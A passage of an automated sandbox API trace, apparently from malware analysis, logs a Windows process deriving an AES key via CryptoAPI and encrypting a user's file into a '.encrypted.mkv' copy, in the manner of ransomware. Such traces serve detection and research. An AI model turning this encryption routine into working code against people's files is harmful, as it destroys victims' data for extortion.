wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.499] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.499] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.499] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.499] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.500] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.500] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.500] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.500] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0022.501] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.501] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.501] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.501] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.501] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.502] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.502] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.503] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.503] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.504] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0022.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0022.504] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0022.504] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.505] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.505] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.505] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.505] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.505] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.505] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.506] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.506] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.506] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.506] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.506] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.506] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.506] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.507] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.507] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.507] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\bxinkfdkl7n6uh.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.508] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.509] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.509] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.511] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8a47, lpOverlapped=0x0) returned 1 [0022.533] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.536] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.536] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.536] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.536] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.537] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.537] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.537] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.537] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.537] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.538] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.538] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.538] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.538] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0022.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417ac80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0022.539] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0022.539] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.540] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.540] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.541] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.541] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.542] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18a47, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18a50) returned 1 [0022.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.542] CharLowerBuffW (in: lpsz="byte[100945]", cchLength=0xc | out: lpsz="byte[100945]") returned 0xc [0022.542] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.544] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.544] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.545] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f420a8c0*, pdwDataLen=0xe8f3dfdf68*=0x18a47, 